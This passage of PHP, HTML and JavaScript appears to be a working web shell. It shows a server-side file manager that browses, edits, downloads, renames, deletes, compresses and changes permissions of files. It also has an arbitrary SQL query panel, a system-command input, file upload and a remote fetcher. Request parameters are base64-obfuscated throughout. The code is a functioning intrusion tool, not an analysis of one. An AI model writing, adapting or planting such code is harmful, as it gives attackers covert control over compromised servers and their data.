                            echo '<th data-column-name="'.htmlspecialchars($columnName).'">' . htmlspecialchars($columnName) . '</th>';
                        }
                        echo '<th>Actions</th>';
                        echo '</tr></thead><tbody>';

                        foreach($data AS $row) {
                            $pkValue = htmlspecialchars(reset($row));
                            $pkValueEncoded = kunci($pkValue);
                            echo '<tr data-pk-val="'.$pkValue.'">';
                            foreach($row AS $val) {
                                echo '<td><div>' . htmlspecialchars($val) . '</div></td>';
                            }
                            echo '<td><a class="btn-modern" style="padding: 4px 8px; text-decoration: none;" href="javascript:navigate(\'awal\', \'edit_db_form\', \'t\', \''. $_POST['t'] .'\', \'pk_val\', \''. $pkValueEncoded .'\')">Edit</a></td>';
                            echo '</tr>';
                        }
                        echo '</tbody></table></div>';
                        if ($pages > 1) {
                            echo '<div class="pagination">';
                            for ($p = 1; $p <= $pages; $p++) {
                                $activeClass = ($currentPage == $p) ? 'active' : '';
                                echo '<a class="'.$activeClass.'" href="javascript:navigate(\'awal\', \'skl\', \'database\', \''.$database.'\', \'t\', \'' . kunci($tableName) . '\', \'halaman\', \'' . $p . '\');">' . $p . '</a> ';
                            }
                            echo '</div>';
                        }
                    } else {
                        echo "Table not found!";
                    }
                } else if(isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr'])) {
                    $emr = uraikan($_POST['emr']);
                    echo '<div class="db-table-info"><span class="qalin">SQL Query Result:</span><pre>' . htmlspecialchars($emr) . '</pre></div>';
					$dataQuery = $pdo->query($emr);
                    if ($dataQuery) {
                        $data = $dataQuery->fetchAll();
                        if (count($data) > 0) {
                             echo '<div class="data-table-container">';
                             echo '<table class="fManager data-table"><thead><tr>';
                            foreach($data[0] as $key => $val) {
                                echo '<th>' . htmlspecialchars($key) . '</div></th>';
                            }
                            echo '</tr></thead><tbody>';
                            foreach($data as $row) {
                                echo '<tr>';
                                foreach($row as $val) {
                                    echo '<td><div>' . htmlspecialchars($val) . '</div></td>';
                                }
                                echo '</tr>';
                            }
                            echo '</tbody></table></div>';
                        } else {
                           echo "Query executed successfully, but returned no results.";
                        }
                    } else {
                        echo "<span style='color: #ff5555;'>Error executing query: " . htmlspecialchars($pdo->errorInfo()[2]) . "</span>";
                    }
                } else {
                    echo "Select a table from the sidebar to view its content.";
                }

                // SQL Editor
                echo '<div class="sql-editor-container">';
                echo '<h4>SQL Query</h4>';
                echo '<textarea id="skl_emr" class="file_edit" style="height: 120px;"></textarea>';
                echo '<button type="button" class="btn-modern" style="margin-top:0.7rem;" onclick="skl_bas();">Execute Query</button>';
                echo '</div>';
            }
            echo '</div>';
            // End Content
            echo '</div>';
            // End Container
		}
		catch (Exception $e)
		{
			echo '<div style="color: #ff5555; padding: 0.7rem; border: 1px dotted #ff5555; border-radius: 5px;">Connection failed: ' . $e->getMessage() . '</div>';
		}
	}
}
else if($awal=="edit_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "")
{
	$namaBerkas = basename(uraikan($_POST['fayl']));
	$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : "";
	if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
	{
		$status = "";
		if(isset($_POST['content'], $_POST['took']) && $_POST['took'] != "" && isset($_SESSION['ys_took']) && $_SESSION['ys_took'] == $_POST['took'])
		{
			unset($_SESSION['ys_took']);
			$content = $_POST['content'];
            if (is_writeable($default_dir . $pemisah . $namaBerkas)) {
                if (file_put_contents($default_dir . $pemisah . $namaBerkas, $content) !== false) {
                    $status = " <span class='qalin' style='color:#00FF00;'>Saved successfully!</span>";
                } else {
                    $status = " <span class='qalin' style='color:#ff5555;'>Error saving file. Check permissions.</span>";
                }
            } else {
                $status = " <span class='qalin' style='color:#ff5555;'>File is not writeable.</span>";
            }
		}
		$oxuUrl = "?awal=baca_file&fayl=" . kunci($namaBerkas) . "&berkas=" . kunci($default_dir);
		$elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? "" : " disabled";
		?>
		<form method="POST" style="padding: 0; margin: 0;">
			<div class="file-info-container">
				<div>
					File Name: <span class="qalin"><?= htmlspecialchars($namaBerkas) ?></span>
					<?= $status ?>
				</div>
				<div>
					<input type="hidden" value="edit_file" name="awal">
					<input type="hidden" value="<?= kunci($namaBerkas) ?>" name="fayl">
					<input type="hidden" value="<?= kunci($default_dir) ?>" name="berkas">
					<input type="hidden" value="<?= ambilBuat("ys_took") ?>" name="took">
					<button type="submit" class="btn-modern"<?= $elaveBtn ?>>
						<i class="fas fa-save"></i> Save
					</button>
				</div>
			</div>
			<textarea name="content" class="file_edit" <?= is_writeable($default_dir . $pemisah . $namaBerkas) ? '' : 'disabled' ?>><?= htmlspecialchars(file_get_contents($default_dir . $pemisah . $namaBerkas)) ?></textarea>
		</form>
		<?php
	}
	else
	{
		print "Error! " . htmlspecialchars($default_dir . $pemisah . $namaBerkas);
	}
}
else
{
	if(is_dir($default_dir))
	{
		if(is_readable($default_dir))
		{
			$folderDalam = scandir($default_dir);
            $items = [];
			foreach($folderDalam as $element)
			{
				$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : "";
                $fileNamaLengkap = $default_dir . $pemisah . $element;
                $is_dir = is_dir($fileNamaLengkap);
                $items[] = [
                    'name' => $element,
                    'is_dir' => $is_dir,
                    'type_prefix' => $is_dir ? '0' : '1'
                ];
			}
			
            // Sort folders first, then files
            usort($items, function($a, $b){
                if ($a['name'] === '.') return -1;
                if ($b['name'] === '.') return 1;
                if ($a['name'] === '..') return -1;
      
                   if ($b['name'] === '..') return 1;
                if ($a['is_dir'] && !$b['is_dir']) return -1;
                if (!$a['is_dir'] && $b['is_dir']) return 1;
                return strcasecmp($a['name'], $b['name']);
            });
            echo '<div class="fManager-wrapper">';
            echo "<table class='fManager'><thead><tr class='qalin'><th>File</th><th>Size</th><th>Date</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>";
			foreach($items AS $item)
			{
				$element = $item['name'];
                $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : "";
                $fileNamaLengkap = $default_dir . $pemisah . $element;

                $isWriteable = is_writable($fileNamaLengkap);
                $permissionsColor = $isWriteable ? "#00FF00" : "#FF0000";
                $currentPerms = substr(sprintf('%o', @fileperms($fileNamaLengkap)), -4);

                print '<tr><td>';
                
                if($item['is_dir']) {
                    print '<i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i>';
                    $navPath = '';
                    if ($element == '..') {
                        $navPath = kunci(dirname($default_dir));
                    } else {
                        $navPath = kunci($fileNamaLengkap);
                    }
                    print '<a href="javascript:navigate(\'berkas\', \'' . $navPath . '\')" style="font-weight:600; color:#FFFFFF;">' . htmlspecialchars($element) . '</a>';
                } else {
                    print '<i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i>';
                    print '<a href="javascript:navigate(\'awal\', \'baca_file\', \'fayl\', \'' . kunci($element) . '\', \'berkas\', \'' . kunci($default_dir) . '\')" style="color:#FFFFFF;">' . htmlspecialchars($element) . '</a>';
                }

                print '</td>
                        <td>' . sizeFormat(@filesize($fileNamaLengkap)) . '</td>
                        <td>' . (date('d M Y, H:i', @filemtime($fileNamaLengkap))) . '</td>
                        <td>';
                if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                            $owner = @posix_getpwuid(@fileowner($fileNamaLengkap));
                            $group = @posix_getgrgid(@filegroup($fileNamaLengkap));
                            echo htmlspecialchars((isset($owner['name']) ? $owner['name'] : 'N/A')) . '/' . htmlspecialchars((isset($group['name']) ? $group['name'] : 'N/A'));
                } else {
                           echo 'N/A';
                }
                print '</td>
                        <td style="color:' . $permissionsColor . ';">
                            <a href="javascript:;" onclick="changePermissions(\'' . kunci($element) . '\', \'' . $currentPerms . '\')" style="color: inherit; text-decoration: none; cursor:pointer;">' . $currentPerms . '</a>
                        </td>
                        <td>';
                if(is_file($fileNamaLengkap))
                {
                    print (' <a href="javascript:navigate(\'awal\', \'download_file\', \'fayl\', \'' . kunci($element) . '\', \'berkas\', \'' . kunci($default_dir) . '\')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> | ')
                        . (' <a href="javascript:navigate(\'awal\', \'edit_file\', \'fayl\', \'' . kunci($element) . '\', \'berkas\', \'' . kunci($default_dir) . '\');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> | ')
                        . (' <a href="javascript:changeFileName(\'' . htmlspecialchars($element) . '\', \'' . kunci($element) . '\');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> | ')
                        . (' <a href="javascript:deleteFile(\'' . kunci($element) . '\');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a>');
                }
                else if($element != '.' && $element != '..')
                {
                    print (' <a href="javascript:compressFolder(\'' . kunci($fileNamaLengkap) . '\');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> | ')
                        . (' <a href="javascript:deleteFolder(\'' . kunci($fileNamaLengkap) . '\');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a>');
                }

                print '</td></tr>';
			}
            echo "</tbody></table></div>";
		}
		else
		{
            echo '<div class="fManager-wrapper"><table class="fManager"><tbody>';
            print "<tr><td colspan='6'><div style='margin: 1rem 0px;' class='qalin'>Permission denied!</div></td></tr>";
            echo "</tbody></table></div>";
		}
	}
}
?>
<hr style="border-color: #333; border-style: dotted;">

</div>


<script>
// ===========================================================================
// JavaScript functions for navigation and interaction, with prompts in English.
// ===========================================================================
function navigate() {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '';
    form.style.display = 'none';
    const params = {};
    for (let i = 0; i < arguments.length; i += 2) {
        params[arguments[i]] = arguments[i + 1];
    }

    if (!params.hasOwnProperty('awal') && params.hasOwnProperty('berkas')) {
        // This is a directory navigation, do not set default 'awal'
    } else if (!params.hasOwnProperty('awal')) {
        params['awal'] = 'dasar';
        // Default action
    }

    for (const key in params) {
        if (params.hasOwnProperty(key)) {
            const input = document.createElement('input');
            input.type = 'hidden';
            input.name = key;
            input.value = params[key];
            form.appendChild(input);
        }
    }
    
    document.body.appendChild(form);
    form.submit();
}

function changeFileName(name, fayl)
{
	var getNewName = prompt('Change file name:', name);
	if(getNewName)
	{
		navigate('awal', 'rename_file', 'fayl', fayl, 'new_name', b64EncodeUnicode(getNewName), 'berkas', '<?= kunci($default_dir) ?>');
	}
}

function deleteFile(fayl)
{
    if(confirm('Are you sure you want to delete this file?')) {
        navigate('awal', 'hapus_file', 'fayl', fayl, 'berkas', '<?= kunci($default_dir) ?>');
    }
}

function compressFolder(zf) {
    var dir = prompt('Save compressed file to directory:', "<?=htmlspecialchars($default_dir)?>");
    if (dir) {
        navigate('awal', 'kompres', 'zf', zf, 'save_to', b64EncodeUnicode(dir), 'berkas', '<?= kunci($default_dir) ?>');
    }
}

function deleteFolder(zf) {
    if (confirm('Are you sure you want to delete this folder and all its contents?')) {
        navigate('awal', 'hapus_folder', 'zf', zf, 'berkas', '<?= kunci($default_dir) ?>');
    }
}

function changePermissions(fayl, current_perms) {
    var newPerms = prompt('Enter new permissions (e.g., 0755):', current_perms);
    if (newPerms && newPerms !== current_perms) {
        // Basic validation on client side
        if (/^[0-7]{3,4}$/.test(newPerms)) {
            navigate('awal', 'ubah_perm', 'fayl', fayl, 'perm', newPerms, 'berkas', '<?= kunci($default_dir) ?>');
        } else {
            alert('Invalid format. Please use a 3 or 4-digit octal number (e.g., 0755).');
        }
    }
}

function newFile()
{
    var formContainer = document.getElementById('newFileContainer');
    if (formContainer.style.display === 'none' || formContainer.style.display === '') {
        formContainer.style.display = 'block';
    } else {
        formContainer.style.display = 'none';
    }
}

function newPapka()
{
	var getNewName = prompt('New folder name:');
	if(getNewName)
	{
		navigate('awal', 'buat_folder', 'ad', b64EncodeUnicode(getNewName), 'berkas', '<?= kunci($default_dir) ?>');
	}
}

function sistemKom()
{
	var komanda = document.getElementById('emr_et_atash').value;
	if(komanda)
	{
		navigate('awal', 'sistem_kom', 'kom', b64EncodeUnicode(komanda), 'berkas', '<?= kunci($default_dir) ?>');
	}
}

function skl_bas()
{
	var sklEmr = document.getElementById('skl_emr').value;
	navigate('awal', 'skl', 'emr', b64EncodeUnicode(sklEmr), 'database', '<?= $database ?>');
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
}));
}

function toggleUpload() {
    var uploadContainer = document.getElementById('uploadContainer');
    if (uploadContainer.style.display === 'none' || uploadContainer.style.display === '') {
        uploadContainer.style.display = 'block';
    } else {
        uploadContainer.style.display = 'none';
    }
}

function toggleFetcher() {
    var fetchContainer = document.getElementById('fetchContainer');
    if (fetchContainer.style.display === 'none' || fetchContainer.style.display === '') {
        fetchContainer.style.display = 'block';
    } else {
        fetchContainer.style.display = 'none';
    }
}

var commandInput = document.getElementById("emr_et_atash");
if(commandInput) {
    commandInput.addEventListener("keyup", function(event)
    {
        event.preventDefault();
        if(event.key === 'Enter')
        {
            sistemKom();
        }
    });
}
</script>
<script>
const uploadPanel = document.getElementById('upload-panel');
const realFileInput = document.getElementById('file-input-real');
const ajaxForm = document.getElementById('ajaxUploadForm');
const statusDiv = document.getElementById('uploadStatus');
const progressContainer = document.getElementById('progress-container');
const progressBar = document.getElementById('progress-bar');

if (uploadPanel) {
    // Trigger file input click when panel is clicked
    uploadPanel.addEventListener('click', () => {
        realFileInput.click();
    });
    // Handle file selection via browse
    realFileInput.addEventListener('change', () => {
        if (realFileInput.files.length > 0) {
            handleUpload(realFileInput.files[0]);
        }
    });
    // Drag and Drop events
    uploadPanel.addEventListener('dragover', (e) => {
        e.preventDefault();
        uploadPanel.classList.add('drag-over');
    });
    uploadPanel.addEventListener('dragleave', () => {
        uploadPanel.classList.remove('drag-over');
    });
    uploadPanel.addEventListener('drop', (e) => {
        e.preventDefault();
        uploadPanel.classList.remove('drag-over');
        const files = e.dataTransfer.files;
        if (files.length > 0) {
            handleUpload(files[0]);
        }
    });
}


function handleUpload(file) {
    const formData = new FormData(ajaxForm);
    formData.set('ufile', file);
    // Make sure the file is correctly set
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', ajaxForm.action || window.location.href, true);

    // Progress event
    xhr.upload.addEventListener('progress', (e) => {
        if (e.lengthComputable) {
            const percentComplete = (e.loaded / e.total) * 100;
            progressContainer.style.display = 'block';
            progressBar.style.width = percentComplete + '%';
        }
    });
    xhr.onloadstart = function() {
        statusDiv.innerText = `Uploading ${file.name}...`;
        statusDiv.style.color = '#ddd';
        progressBar.style.width = '0%';
    };

    xhr.onload = function () {
        const res = xhr.responseText.trim();
        if (xhr.status === 200 && res.toLowerCase().includes("success")) {
            statusDiv.style.color = '#00FF00';
            statusDiv.innerText = 'Upload successful! Refreshing...';
            progressBar.style.width = '100%';
            setTimeout(() => {
                // Refresh the page to show the new file
                navigate('berkas', '<?= kunci($default_dir) ?>');
            }, 1500);
        } else {
            statusDiv.style.color = '#FF4444';
            statusDiv.innerText = 'Upload failed!';
            progressContainer.style.display = 'none';
        }
    };
    xhr.onerror = function () {
        statusDiv.style.color = '#FF4444';
        statusDiv.innerText = 'An error occurred during upload!';
        progressContainer.style.display = 'none';
    };

    xhr.send(formData);
}
</script>
</body>
</html>